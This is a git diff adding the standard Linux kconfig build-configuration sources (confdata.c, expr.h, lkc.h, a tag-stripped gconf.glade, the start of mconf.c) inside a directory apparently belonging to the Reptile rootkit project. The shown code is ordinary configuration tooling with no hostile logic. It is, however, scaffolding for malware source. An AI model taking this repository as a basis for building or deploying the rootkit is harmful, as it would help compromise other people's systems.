{ + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + opwd = malloc(256); + _name = strdup(name); + if (opwd == NULL || _name == NULL) + return 1; + opwd = getcwd(opwd, 256); + dir = dirname(_name); + if (dir == NULL) { + res = 1; + goto err; + } + if (chdir(dir)) { + res = 1; + goto err; + } + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir(opwd)) + res = 1; +err: + free(opwd); + free(_name); + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + char dir[PATH_MAX+1], buf[PATH_MAX+1]; + char *s; + + strcpy(dir, conf_get_configname()); + s = strrchr(dir, '/'); + if (s) + s[1] = 0; + else + dir[0] = 0; + + sym_clear_all_valid(); + + sprintf(buf, "%s.config.cmd", dir); + file_write_dep(buf); + + if (conf_split_config()) + return 1; + + sprintf(buf, "%s.tmpconfig", dir); + out = fopen(buf, "w"); + if (!out) + return 1; + + sprintf(buf, "%s.tmpconfig_tristate", dir); + tristate = fopen(buf, "w"); + if (!tristate) { + fclose(out); + return 1; + } + + sprintf(buf, "%s.tmpconfig.h", dir); + out_h = fopen(buf, "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); + if (rename(buf, name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + sprintf(buf, "%s.tmpconfig", dir); + if (rename(buf, name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h new file mode 100644 index 0000000..ba663e1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h @@ -0,0 +1,238 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef EXPR_H +#define EXPR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "list.h" +#ifndef __cplusplus +#include +#endif + +struct file { + struct file *next; + struct file *parent; + const char *name; + int lineno; +}; + +typedef enum tristate { + no, mod, yes +} tristate; + +enum expr_type { + E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE +}; + +union expr_data { + struct expr *expr; + struct symbol *sym; +}; + +struct expr { + enum expr_type type; + union expr_data left, right; +}; + +#define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2)) +#define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2)) +#define EXPR_NOT(dep) (2-(dep)) + +#define expr_list_for_each_sym(l, e, s) \ + for (e = (l); e && (s = e->right.sym); e = e->left.expr) + +struct expr_value { + struct expr *expr; + tristate tri; +}; + +struct symbol_value { + void *val; + tristate tri; +}; + +enum symbol_type { + S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER +}; + +/* enum values are used as index to symbol.def[] */ +enum { + S_DEF_USER, /* main user value */ + S_DEF_AUTO, /* values read from auto.conf */ + S_DEF_DEF3, /* Reserved for UI usage */ + S_DEF_DEF4, /* Reserved for UI usage */ + S_DEF_COUNT +}; + +struct symbol { + struct symbol *next; + char *name; + enum symbol_type type; + struct symbol_value curr; + struct symbol_value def[S_DEF_COUNT]; + tristate visible; + int flags; + struct property *prop; + struct expr_value dir_dep; + struct expr_value rev_dep; +}; + +#define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER) + +#define SYMBOL_CONST 0x0001 /* symbol is const */ +#define SYMBOL_CHECK 0x0008 /* used during dependency checking */ +#define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */ +#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ +#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ +#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +#define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */ +#define SYMBOL_CHANGED 0x0400 /* ? */ +#define SYMBOL_AUTO 0x1000 /* value from environment variable */ +#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +#define SYMBOL_WARNED 0x8000 /* warning has been issued */ + +/* Set when symbol.def[] is used */ +#define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */ +#define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */ +#define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */ +#define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */ +#define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */ + +/* choice values need to be set before calculating this symbol value */ +#define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000 + +#define SYMBOL_MAXLENGTH 256 +#define SYMBOL_HASHSIZE 9973 + +/* A property represent the config options that can be associated + * with a config "symbol". + * Sample: + * config FOO + * default y + * prompt "foo prompt" + * select BAR + * config BAZ + * int "BAZ Value" + * range 1..255 + */ +enum prop_type { + P_UNKNOWN, + P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */ + P_COMMENT, /* text associated with a comment */ + P_MENU, /* prompt associated with a menuconfig option */ + P_DEFAULT, /* default y */ + P_CHOICE, /* choice value */ + P_SELECT, /* select BAR */ + P_RANGE, /* range 7..100 (for a symbol) */ + P_ENV, /* value from environment variable */ + P_SYMBOL, /* where a symbol is defined */ +}; + +struct property { + struct property *next; /* next property - null if last */ + struct symbol *sym; /* the symbol for which the property is associated */ + enum prop_type type; /* type of property */ + const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */ + struct expr_value visible; + struct expr *expr; /* the optional conditional part of the property */ + struct menu *menu; /* the menu the property are associated with + * valid for: P_SELECT, P_RANGE, P_CHOICE, + * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */ + struct file *file; /* what file was this property defined */ + int lineno; /* what lineno was this property defined */ +}; + +#define for_all_properties(sym, st, tok) \ + for (st = sym->prop; st; st = st->next) \ + if (st->type == (tok)) +#define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT) +#define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE) +#define for_all_prompts(sym, st) \ + for (st = sym->prop; st; st = st->next) \ + if (st->text) + +struct menu { + struct menu *next; + struct menu *parent; + struct menu *list; + struct symbol *sym; + struct property *prompt; + struct expr *visibility; + struct expr *dep; + unsigned int flags; + char *help; + struct file *file; + int lineno; + void *data; +}; + +#define MENU_CHANGED 0x0001 +#define MENU_ROOT 0x0002 + +struct jump_key { + struct list_head entries; + size_t offset; + struct menu *target; + int index; +}; + +#define JUMP_NB 9 + +extern struct file *file_list; +extern struct file *current_file; +struct file *lookup_file(const char *name); + +extern struct symbol symbol_yes, symbol_no, symbol_mod; +extern struct symbol *modules_sym; +extern struct symbol *sym_defconfig_list; +extern int cdebug; +struct expr *expr_alloc_symbol(struct symbol *sym); +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce); +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2); +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2); +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2); +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2); +struct expr *expr_copy(const struct expr *org); +void expr_free(struct expr *e); +int expr_eq(struct expr *e1, struct expr *e2); +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2); +tristate expr_calc_value(struct expr *e); +struct expr *expr_eliminate_yn(struct expr *e); +struct expr *expr_trans_bool(struct expr *e); +struct expr *expr_eliminate_dups(struct expr *e); +struct expr *expr_transform(struct expr *e); +int expr_contains_symbol(struct expr *dep, struct symbol *sym); +bool expr_depends_symbol(struct expr *dep, struct symbol *sym); +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2); +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2); +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2); +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym); +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2); + +void expr_fprint(struct expr *e, FILE *out); +struct gstr; /* forward */ +void expr_gstr_print(struct expr *e, struct gstr *gs); + +static inline int expr_is_yes(struct expr *e) +{ + return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes); +} + +static inline int expr_is_no(struct expr *e) +{ + return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no); +} + +#ifdef __cplusplus +} +#endif + +#endif /* EXPR_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade new file mode 100644 index 0000000..6cbc1bb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk Buildroot Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h new file mode 100644 index 0000000..09f4edf --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h @@ -0,0 +1,199 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef LKC_H +#define LKC_H + +#include "expr.h" + +#ifndef KBUILD_NO_NLS +# include +#else +static inline const char *gettext(const char *txt) { return txt; } +static inline void textdomain(const char *domainname) {} +static inline void bindtextdomain(const char *name, const char *dir) {} +static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; } +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#define P(name,type,arg) extern type name arg +#include "lkc_proto.h" +#undef P + +#define SRCTREE "srctree" + +#ifndef PACKAGE +#define PACKAGE "linux" +#endif + +#define LOCALEDIR "/usr/share/locale" + +#define _(text) gettext(text) +#define N_(text) (text) + +#ifndef CONFIG_ +#define CONFIG_ "CONFIG_" +#endif +static inline const char *CONFIG_prefix(void) +{ + return getenv( "CONFIG_" ) ?: CONFIG_; +} +#undef CONFIG_ +#define CONFIG_ CONFIG_prefix() + +#define TF_COMMAND 0x0001 +#define TF_PARAM 0x0002 +#define TF_OPTION 0x0004 + +enum conf_def_mode { + def_default, + def_yes, + def_mod, + def_no, + def_random +}; + +#define T_OPT_MODULES 1 +#define T_OPT_DEFCONFIG_LIST 2 +#define T_OPT_ENV 3 + +struct kconf_id { + int name; + int token; + unsigned int flags; + enum symbol_type stype; +}; + +extern int zconfdebug; + +int zconfparse(void); +void zconfdump(FILE *out); +void zconf_starthelp(void); +FILE *zconf_fopen(const char *name); +void zconf_initscan(const char *name); +void zconf_nextfile(const char *name); +int zconf_lineno(void); +const char *zconf_curname(void); + +/* confdata.c */ +const char *conf_get_configname(void); +const char *conf_get_autoconfig_name(void); +char *conf_get_default_confname(void); +void sym_set_change_count(int count); +void sym_add_change_count(int count); +bool conf_set_all_new_symbols(enum conf_def_mode mode); +void set_all_choice_values(struct symbol *csym); + +struct conf_printer { + void (*print_symbol)(FILE *, struct symbol *, const char *, void *); + void (*print_comment)(FILE *, const char *, void *); +}; + +/* confdata.c and expr.c */ +static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out) +{ + assert(len != 0); + + if (fwrite(str, len, count, out) != count) + fprintf(stderr, "Error in writing or end of file.\n"); +} + +/* menu.c */ +void _menu_init(void); +void menu_warn(struct menu *menu, const char *fmt, ...); +struct menu *menu_add_menu(void); +void menu_end_menu(void); +void menu_add_entry(struct symbol *sym); +void menu_end_entry(void); +void menu_add_dep(struct expr *dep); +void menu_add_visibility(struct expr *dep); +struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep); +struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep); +void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep); +void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep); +void menu_add_option(int token, char *arg); +void menu_finalize(struct menu *parent); +void menu_set_type(int type); + +/* util.c */ +struct file *file_lookup(const char *name); +int file_write_dep(const char *name); +void *xmalloc(size_t size); +void *xcalloc(size_t nmemb, size_t size); + +struct gstr { + size_t len; + char *s; + /* + * when max_width is not zero long lines in string s (if any) get + * wrapped not to exceed the max_width value + */ + int max_width; +}; +struct gstr str_new(void); +struct gstr str_assign(const char *s); +void str_free(struct gstr *gs); +void str_append(struct gstr *gs, const char *s); +void str_printf(struct gstr *gs, const char *fmt, ...); +const char *str_get(struct gstr *gs); + +/* symbol.c */ +extern struct expr *sym_env_list; + +void sym_init(void); +void sym_clear_all_valid(void); +void sym_set_all_changed(void); +void sym_set_changed(struct symbol *sym); +struct symbol *sym_choice_default(struct symbol *sym); +const char *sym_get_string_default(struct symbol *sym); +struct symbol *sym_check_deps(struct symbol *sym); +struct property *prop_alloc(enum prop_type type, struct symbol *sym); +struct symbol *prop_get_symbol(struct property *prop); +struct property *sym_get_env_prop(struct symbol *sym); + +static inline tristate sym_get_tristate_value(struct symbol *sym) +{ + return sym->curr.tri; +} + + +static inline struct symbol *sym_get_choice_value(struct symbol *sym) +{ + return (struct symbol *)sym->curr.val; +} + +static inline bool sym_set_choice_value(struct symbol *ch, struct symbol *chval) +{ + return sym_set_tristate_value(chval, yes); +} + +static inline bool sym_is_choice(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICE ? true : false; +} + +static inline bool sym_is_choice_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_CHOICEVAL ? true : false; +} + +static inline bool sym_is_optional(struct symbol *sym) +{ + return sym->flags & SYMBOL_OPTIONAL ? true : false; +} + +static inline bool sym_has_value(struct symbol *sym) +{ + return sym->flags & SYMBOL_DEF_USER ? true : false; +} + +#ifdef __cplusplus +} +#endif + +#endif /* LKC_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c new file mode 100644 index 0000000..7d6cf80 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" 